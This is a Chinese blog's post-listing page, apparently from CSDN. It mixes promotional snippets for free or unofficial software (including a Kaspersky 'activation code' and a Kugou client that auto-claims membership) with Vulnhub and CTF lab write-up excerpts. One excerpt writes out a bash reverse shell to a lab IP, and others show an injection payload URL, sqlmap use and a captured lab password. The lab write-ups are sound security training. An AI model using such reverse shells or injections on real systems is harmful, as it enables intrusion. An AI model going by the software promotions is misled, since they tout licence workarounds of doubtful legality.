- 博客(62)
- 资源 (2)
- 收藏
- 关注
RSS订阅原创 PC端杀毒神器卡巴斯基+激活码，输入序列号，既可以永久免费使用！
卡巴斯基出了个免费版本，免费版本可拥有“文件反病毒”、“反网络攻击”、“安全浏览”、“邮件反病毒”、“系统监控”、“卡巴斯基安全网络”等功能，与收费版相比，免免费版本只差了防火墙和入侵防御这两项功能。免费版、标准版、加强版、优选版。这四种版本虽然功能依次增加，但是有一些功能很多人都用不上，免费版对于普通用户来说，就已经足够用了。
2025-06-30 17:28:22
404
原创 五款免费好用的电脑OCR文字识别工具，支持本地离线OCR+批量图片转文字+截图OCR+自定义快捷键+翻译等功能
OCR工具集是一款集成了搜狗+本地离线OCR引擎的OCR截图识别工具，软件使用简单，无需安装也无需专门申请key，开箱即可使用，且OCR识别准确率高，操作方便，支持多种识别功能，帮助大家可以轻松的提取图片中的文字，使用起来非常的简单，为用户识别文字提供了很好的帮助。
2025-06-29 14:42:58
1078
原创 坤tools一站式办公文档处理神器（免费）
吾爱大佬（jidesheng6）开发的免费、离线、万能的转换工具kun_tools，集成了以下几十种功能
2025-05-29 23:38:35
528
原创 windows最强的电脑视频播放器，超强的看片神器，支持所有视频格式，PotPlayer，原版+精简版+安卓版+皮肤大全
PotPlayer是KMPlayer原作者姜勇囍进入新公司Daum之后推出的，继承了 KMPlayer 所有的优点，拥有异常强大的内置音视频解码器，可以支持几乎全部音乐、视频文件格式的播放。采用 VC++ 进行了全面重构，并且原生支持64位操作系统，使得 PotPlayer 在 Windows 10 等新系统上，无论性能、兼容性和稳定性上的表现均比 KMP 要好不少；硬件加速、流畅优秀的全高清视频播放效果、强大的选项、滤镜、外挂式管理、DXVA等硬件解码；以及非常丰富且强大的设置选项，被誉为Win平台上最优
2025-05-29 23:16:23
520
原创 大佬复活版-B站视频下载神器-哔哩下载姬，白嫖高清+弹幕+去水印+音频分离一键下载
哔哩下载姬跨平台版是由yaobiao131开发的全免费B站视频下载工具，支持Windows/macOS/Linux三大系统，实现全平台兼容。该软件无需安装，解压即用，支持8K/HDR/杜比视界等超清画质下载，同时提供多线程下载、弹幕/字幕提取、音视频分离、去水印等实用功能。使用需手机扫码登录，通过复制视频链接自动解析，可自由选择画质音质，长视频自动分段下载。内置工具箱还包含AV/BV号互转、弹幕发送者查询等特色功能，默认采用Aria2+ffmpeg技术组合，支持代理设置，满足各类下载需求。
2025-05-29 23:08:25
6449
原创 告别拖延症！美明定时助手：精准管理每一分钟，解锁你的高效人生
美明定时助手是个完全免费的提醒工具，能帮你安排学习任务、设置工作闹钟，各种生活场景都能用。你只需要在软件里写好笔记内容，它就会自动帮你记住这些待办事项，轻松设置提醒时间、管理每日任务，这样重要的工作安排、学习计划或者生活事项就都不会忘记啦！
2025-05-23 11:45:52
249
原创 全平台开源电子书阅读器推荐，支持多端同步+AI朗读！支持epub/mobi/azw3/pdf常见电子书格式！
Readest是一款好用的免费阅读工具，界面干净不花哨，特别适合喜欢专心读书的朋友。这个软件是经典阅读软件Foliate的全新升级版本，用最新技术开发，能在手机、电脑（包括苹果和Windows系统）以及网页上顺畅使用。你可以选择像翻纸质书一样分页阅读，也能像刷手机一样上下滑动浏览，两种阅读方式随心切换，想怎么读就怎么读。
2025-05-21 10:05:12
1063
原创 吾爱大佬出品的办公神器-千峰办公助手，解锁30+超实用功能，永久免费！
这款绿色办公工具无需安装，包含七大功能板块：自动任务、系统工具、文件处理、PDF工具、OCR文字识别、文档编辑和电子表格，总计30多个实用功能。用户只需下载并解压软件包，即可快速使用。软件支持自动化操作、批量文件处理、PDF转换与编辑、图片文字识别、文档排版校对、表格数据分析等功能，旨在提高办公效率，减少重复性工作。此外，软件还提供文件加密解密、批量重命名等实用工具，满足多种办公需求。具体操作可参考详细图文教程。
2025-05-21 09:41:10
218
原创 某狗开源版，MoeKoeMusic某狗第三方，自动领会员
QQ音乐、网易云音乐、酷狗音乐组成的国内音乐平台三巨头中，有个有趣现象：开发者社区为网易云开发了大量第三方客户端和插件，让用户无需官方应用即可享受服务，还能解锁部分受版权限制的曲目资源。不过最近这个局面被打破，GitHub上新出现的酷狗音乐第三方客户端，为偏好该平台的用户提供了官方应用之外的替代方案。实际体验显示，首页与发现页存在较高内容重叠——首页主打音乐推荐与热门歌单，发现页虽新增语种分类歌单功能，但核心内容仍以歌单推荐为主。依托酷狗庞大的音乐版权库，软件覆盖了绝大多数主流歌手的作品资源。
2025-05-18 15:50:37
572
原创 夸克网盘批量转存神器：轻松保存，高效分享，拉新必备！
在日常工作或网盘资源管理中，我们常会遇到需要批量处理大量资源链接的情况。手动逐条保存不仅效率低下，还容易出错。
2025-05-18 15:27:23
3062
2
转载 百度网盘批量转存神器：BaiduPanFilesTransfers（附安装包和使用方法）
BaiduPanFilesTransfers 是一款基于Python 3.10与Tkinter框架开发的开源工具，专为百度网盘用户设计，可有效解决批量文件管理的效率瓶颈。
2025-05-11 21:17:41
816
原创 【电脑定时关机神器】再不怕熬夜挂机！打工人必备的摸鱼保命工具
Wise Auto Shutdown是一款操作简单、小巧实用的 Windows 定时工具， 它可以帮助实现电脑 定时关机、重启、注销、休眠、睡眠、锁定屏幕 等多项任务
2025-05-08 13:05:03
430
原创 Typora v1.9.5 保姆级安装教程
Typora这款轻量级文本编辑工具凭借其极简设计在技术圈收获了大批忠实用户。作为一款原本完全免费的Markdown编辑器，它以"沉浸式写作"理念打造的无干扰界面深得开发者青睐——不同于传统编辑器需要分屏预览，Typora创新性地实现了即时渲染技术，让创作者在书写的同时就能看到最终排版效果。
2025-05-07 11:20:26
332
2
原创 vim缓存-交换文件
在使用vim时会创建临时缓存文件，关闭vim时缓存文件则会被删除，当vim异常退出后，因为未处理缓存文件，导致可以通过缓存文件恢复原始文件内容
2023-09-20 09:15:07
1217
原创 【Sword系列】Vulnhub靶机HACKADEMIC: RTB1 writeup
【Sword系列】Vulnhub靶机HACKADEMIC: RTB1 writeup
2023-09-01 11:10:52
1163
原创 Vulnhub靶机PWNLAB：INIT writeup
Vulnhub靶机PWNLAB：INIT writeup在index页面也找到了对应的源码，并且有两个文件包含漏洞另一个是cookie包含文件，也是可以利用成功的在login源码看到有config.php在config.php源码当中发现了数据库的用户名密码之前扫描端口的时候发现开发了3306，使用mysql远程连接查看登录页面的用户名密码使用获取的用户名密码登录，密码需要使用base64解密登录成功，发现上传页面但不允许上传php文件返回文
2022-12-04 10:00:40
385
原创 BUUCTF MISC [WUSTCTF2020]爬
winhex打开查看文件头发现是PDF更改后缀打开，提示flag被图片挡住了删除图片后发现一串十六进制数(如果不能编辑PDF，可将PDF转换成WORD操作)将十六进驻数提取出来，转换成字符串最后得到wctf2020{th1s_1s_@pdf_and_y0u_can_use_phot0sh0p}提交flag需要将wctf2020改成flag：**flag{th1s_1s@_pdf_and_y0u_can_use_phot0sh0p}**...
2022-04-23 21:49:35
623
原创 VulnHub靶机MILNET：1writeup
VulnHub靶机MILNET：1writeup信息收集获取IP地址扫描端口80端口（没有发现有用信息）列举目录只有一个info.php，访问之后发现允许文件包含和网站根目录的路径经过测试可以通过base64形式执行远程命令注入getshell上传大马msf联动拿shell提权查看用户查看计划任务（这里看到每过一分钟会以root权限执行一次/backup/back..
2022-03-22 08:56:58
566
转载 AWS云计算基础习题（含答案）
模块1：相比本地计算，云计算的优势哪些？ 避免大额购买；使用按需容量；数分钟内实现全球化部署；提高速度和敏捷性 。哪种定价模型可使 AWS 用户能够按需为资源付费？按实际使用量付费哪项不是云部署模型？ 系统管理即服务 。云部署模型：平台即服务、基础设施即服务、软件即服务。AWS 拥有并维护各种应用程序服务所需的联网硬件，您可以按需预置和使用。√下面哪项不是云计算强于本地计算的优势？ 为服务器的机器搭建、堆栈创建和供电等工作付费 。云计算强于本地计算的优势：提高速度和敏捷性；无需猜测基础设施容量需
2022-03-02 15:44:38
15500
3
原创 Vulnhub靶机Bob_v1.0.1 writeup
下载地址：https://www.vulnhub.com/entry/bob-101,226/信息搜集扫描IP地址扫描端口及端口信息访问80端口并没有发现有用的信息扫描目录看到有熟悉的robots.txt，访问看一下发现了dev_shell.php，可以执行一些简单的命令，但是不能执行ls，ifconfig，pwd等命令getshellbash反弹shellbash -c 'exec bash -i &>/dev/tcp/192.168.1.140/4444 &
2022-02-18 22:05:05
3136
原创 Vulnhub靶机 VULNOS: 2 writeup
下载地址：https://www.vulnhub.com/entry/vulnos-2,147/信息搜集获取IP地址扫描端口80端口点击website跳转到/jabc在 jabc/?q=node/7 页面看起来啥也没有，但是Ctrl+A全选之后看到提示还有一个目录 /jabcd0cs/访问/jabcd0cs/在/jabcd0cs/发现CMS的版本，使用searchsploit查询这里看到了pyloadhttp://[host]/ajax_udf.php?q=1&
2022-02-10 11:29:13
3140
原创 Vulnhub靶机 web-developer writeup
下载地址：https://www.vulnhub.com/entry/web-developer-1,288信息搜集扫描IP地址扫描开放的端口80端口发现有wordpress内容管理系统列举目录访问ipdata目录发现有analyze.cap下载下来看一下在180这条数据流中发现了登录信息，用户名：webdeveloper 密码：Te5eQg&4sBS!Yr$)wf%(DcAd成功登录到后台getsh...
2022-01-23 22:36:13
2441
原创 Vulnhub靶机Lampiao：1 writeup
下载地址：https://www.vulnhub.com/entry/lampiao-1,249/信息搜集获取IP地址扫描开放的端口80端口80端口没有任何发现1898端口发现启动了Drupal 7列举目录发现有熟悉的rebots.txt在CHANGELOG.txt文件里面发现了Drupal 的版本是7.54getshell通过Kali中的Searchsploit工具可以确定Drupal 7.5...
2022-01-21 23:04:19
4334
原创 Vulnhub靶机hackme: 1 writeup
下载地址：https://www.vulnhub.com/entry/hackme-1,330/信息搜集获取IP地址扫描端口80端口首页是一个登录页面发现有注册页面，注册一个账号admin：password，并且登录成功登录成功之后的页面，是一个查阅图书的页面尝试使用SQL注入sqlmap -r sqlmap.txt --batchsqlmap.txt里面的内容，通过抓包获取的sqlmap.txtPOST /welcome.php HTTP/1.1Host:
2022-01-14 11:33:49
2382
原创 Vulnhub靶机Funbox：1 writeup
下载地址：https://www.vulnhub.com/entry/funbox-1,518/信息搜集获取IP地址扫描端口这里看到一共开放了四个端口21：ftp，22：ssh，88：http，3306：mysql21端口登录ftp的时候需要用户名密码，先放着80端口访问80端口发现会跳转到funbox.fritz.box修改hosts为：再次访问80端口这里看到使用了wordpress管理系统可以使用wpscan尝试枚举下用户和插件：wpscan --url ht
2022-01-11 17:38:30
1605
转载 常见Linux命令总结！！
列出目录内容 ls -a：显示所有文件（包括隐藏文件）； ls -l：显示详细信息； ls -R：递归显示子目录结构； ls -ld：显示目录和链接信息； ctrl+r：历史记录中所搜命令（输入命令中的任意一个字符）； Linux中以.开头的文件是隐藏文件； pwd:显示当前目录查看文件的类型 file:查看文件的类型复制文件目录1、cp：复制文件和目录 cp源文件（文件夹）目标文件（文件夹）常用参数：-r:递归复制整个目录树；-v：显示详细信息；复制文件夹时要在cp命令后面加
2021-09-19 19:27:30
123
转载 【工具】sqlmap 中文手册 使用教程
0x01、 基本信息官网https://sqlmap.org/注入类型基于布尔的盲注：即可以根据返回页面判断条件真假的注入；基于时间的盲注：即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断；基于报错注入：即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中；联合查询注入：可以使用union的情况下的注入；堆查询注入：可以同时执行多条语句的执行时的注入。```**支持的数据库**MySQL, Oracle, PostgreSQ
2021-09-18 15:33:10
560
原创 eNSP的下载安装
简单介绍一下 eNSP（来自于百度）：eNSP是一款由华为提供的免费的图形化网络仿真工具平台，它将完美呈现真实设备实景（包括华为最新的ARG3路由器和X7系列的交换机），支持大型网络模拟，让你有机会在没有真实设备的情况下也能够实验测试，学习网络技术。NSP(Enterprise Network Simulation Platform)是一款由华为提供的、可扩展的、图形化操作的网络仿真工具平台，主要对企业网络路由器、交换机进行软件仿真，完美呈现真实设备实景，支持大型网络模拟，让广大用户有机会在没有真实设备
2021-09-05 16:30:19
1334
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人